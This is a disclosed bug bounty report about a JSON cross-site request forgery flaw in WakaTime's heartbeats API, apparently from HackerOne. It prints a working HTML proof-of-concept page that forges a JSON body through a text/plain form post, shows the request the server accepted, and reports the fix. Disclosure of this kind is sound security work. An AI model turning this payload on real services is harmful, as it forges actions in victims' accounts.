WakaTime · Report #245346
JSON CSRF on POST Heartbeats API
Summary
Thanks @sp1d3rs!
WakaTime API used JSON for communications and supported cookie-based authentication/CSRF protection on https://api.wakatime.com. Usually, JSON is CSRF-safe, but only when requests with content-type other than application/json gets rejected or additional CSRF protection is in place (Authorization headers/API keys). In another case, JSON CSRF can be achieved using the form with text/plain content-type, and well-formatted JSON request.
Used POC:
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>
$( document ).ready(function() {
$("#z").attr("name",'{"entity":"https://zzz.com","type":"domain","time":"'+($.now()/1000)+'","project":"<<LAST_PROJECT>>","is_debugging":false,"plugin":"chrome-wakatime/1.0.2","fakeparam":"');
$("#f").submit();
});
</script>
</head>
<body>
<form id="f" ENCTYPE="text/plain" action="https://api.wakatime.com/api/v1/users/current/heartbeats" method="post">
<input id="z" type="hidden" name='test' value='test"}'>
<input type="submit" value="send">
</form>
</body>
</html>
It led to correct request, which was accepted by the server:
{
"entity":"https://zzz.com",
"type":"domain",
"time":"1499073845.176",
"project":"<<LAST_PROJECT>>",
"is_debugging":false,
"plugin":"chrome-wakatime/1.0.2",
"fakeparam":"=test"
}
The WakaTime team fixed the issue fast by implementing access to this endpoint with API key. P.S. fix was temporary reverted back (due to updating of some things), it is known by WakaTime team.
How it was found
The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.